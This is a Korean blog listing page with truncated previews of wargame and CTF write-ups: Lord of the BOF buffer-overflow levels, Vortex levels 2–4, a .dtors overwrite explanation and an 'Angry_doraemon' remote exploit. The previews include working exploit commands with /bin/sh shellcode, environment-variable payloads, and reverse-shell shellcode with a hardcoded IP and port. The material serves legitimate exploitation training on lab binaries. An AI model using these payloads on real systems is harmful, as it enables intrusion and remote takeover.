분류 전체보기 썸네일형 리스트형 orc to wolfman 이번 판은 orc에 bufferhunter가 추가된 버전이다. 그럼 ret2libc 환경변수는 쓸수없고bufferhunter를 보면 40까지만 memset시킨다.그럼 이는 buffer에 쉘코드를 올리는 것을 막아주지만, argv[2]에 올려버리면 우회할수 있다. payload는 orc때 사용한 그대로를 하면 되겠다. 공격![orc@localhost orc]$ bash2[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x44,"\xff\xfd\xff\xbf"'` `perl -e 'print "\x90"x10000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd.. 더보기 goblin to orc 1.ret2libc 소스를 보면, 환경변수 공격을 무력화 시키는 egg hunter 가 포함되어 있고, 프로그램의 인자의 47번째 글자는 '\xbf'가 되어야 한다. 버퍼의 크기는 int i포함해서 44이다. 47번째에 '\xbf'를 넣어보앗다. [goblin@localhost goblin]$ ./orc `perl -e 'print "\x41"x47,"\xbf"'`AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA풱egmentation fault예상대로 if문을 지나가고 strcpy로 인한 bof취약점으로 인한 segmentation fault가 일어난다. argv[1]의 44~47번까지는 ret인데 이말은 ret의 주소가 bf로 시작되어야 한다는 말이다. 그래서 sys.. 더보기 vortex4 Vortex Level 4 → Level 5To exec or not to execThis is the common format string bug, exploit it with care though as a check is made with argc. What is the layout of a process’s memory? How are programs executed?Reading MaterialFormat String TechniqueExploiting Format String VulnerabilitiesBypassing StackGuard and StackShieldIncluded file: vortex4.c// -- andrewg, original author was zen-parse :) #.. 더보기 .dtors overwrite 소개-------gcc로 컴파일 되어진 c 프로그램의 실행 흐름을 조절 할 수 있는 기술에 대해 설명한다. 참고-------dvorak의 exploit 개요------- gcc로 컴파일 되어진 c 프로그램에서, constructors와 destructors 란 두가지 영역이 있다. 이 두가지 영역은 아래와 같은 방법으로 프로그래머에 의해 작성되어 질 수 있다. static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); GNU C 의 특성중 하나인 함수 속성을 정할수있는 기능인 __attribute__ 를 이용하여 함수를 콘스트럭터와 디스트럭터로 선언 할 수 있다. 그러므로.. 더보기 vortex3 Vortex Level 3 → Level 4A Stack Overflow with a DifferenceThis level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.NOTE: ctors/dtors might no longer be writable, although this level is compiled with .. 더보기 vortex2 Vortex Level 2 → Level 3Level GoalCreate a special tar fileHelpful Reading MaterialGNU tar manualIncluded file: vortex2.c#include #include #include int main(int argc, char **argv) { char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] }; execv(args[0], args); } 소스를 해석하자면 execv 함수로 다음의 명령을 실행한다./bin/tar -cf /tmp/ownership.$$.tar argv[1] argv[2] argv[3]tar 에 c옵션은 새.. 더보기 Angry_doraemon 기존의 내가 작성한 exploit으로 시도하니 공격되지 않았다.이유는 다음과 같다. 1.열린 포트가 문제포트 말곤 없다. - 바인드, 리버스쉘 둘다 작동안함.2.recv의 버퍼를 너무 작게주어서, 이상한 값이 릭되었다. *참고로 문제 푸는도중 여러 리버스쉘을 써봣지만, 스택으로 점프하는 놈도 있어서 잘되지 않았고, 메타스프로잇의 리버스쉘도 잘 되지 않았다. 아래가 잘 동작한 리모트 쉘이다."\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80""\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68""\xcb\xfa\x4d\xbb" #ip "\x68\x02\x00""\x22\xb8" #port"\x89\xe1\xb0\x66\x50\.. 더보기 cobolt to goblin 1.ret2libc[cobolt@localhost cobolt]$ gdb -q goblin(gdb) set disassembly-flavor intel(gdb) disas mainDump of assembler code for function main:0x80483f8 : push %ebp0x80483f9 : mov %ebp,%esp0x80483fb : sub %esp,160x80483fe : lea %eax,[%ebp-16]0x8048401 : push %eax0x8048402 : call 0x804830c 0x8048407 : add %esp,40x804840a : lea %eax,[%ebp-16]0x804840d : push %eax0x804840e : push 0x80484700x8048413 :.. 더보기 gremlin to cobolt 1.ret2libc[gremlin@localhost gremlin]$ gdb -q cobolt(gdb) set disassembly-flavor intel(gdb) disas mainDump of assembler code for function main:0x8048430 : push %ebp0x8048431 : mov %ebp,%esp0x8048433 : sub %esp,160x8048436 : cmp DWORD PTR [%ebp+8],10x804843a : jg 0x8048453 0x804843c : push 0x80484d00x8048441 : call 0x8048350 0x8048446 : add %esp,40x8048449 : push 00x804844b : call 0x8048360 0x804.. 더보기 gate to gremlin 1.환경변수를 이용한 공격 bash2 //bash는 badchar를 null로 인식export hack=`perl -e 'print "\x90"x100,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";'`cat > env.c#include #include int main(int argc,char *argv[]){printf("%p\n",getenv(argv[1]));return 0;}crtl+d gcc -o env env.c ./env hack //결과로 0xbffffe30반환 ./gremlin `perl -e 'print "\x90"x260,"\x30\xfe\xff\x.. 더보기 이전 1 ··· 10 11 12 13 14 15 16 다음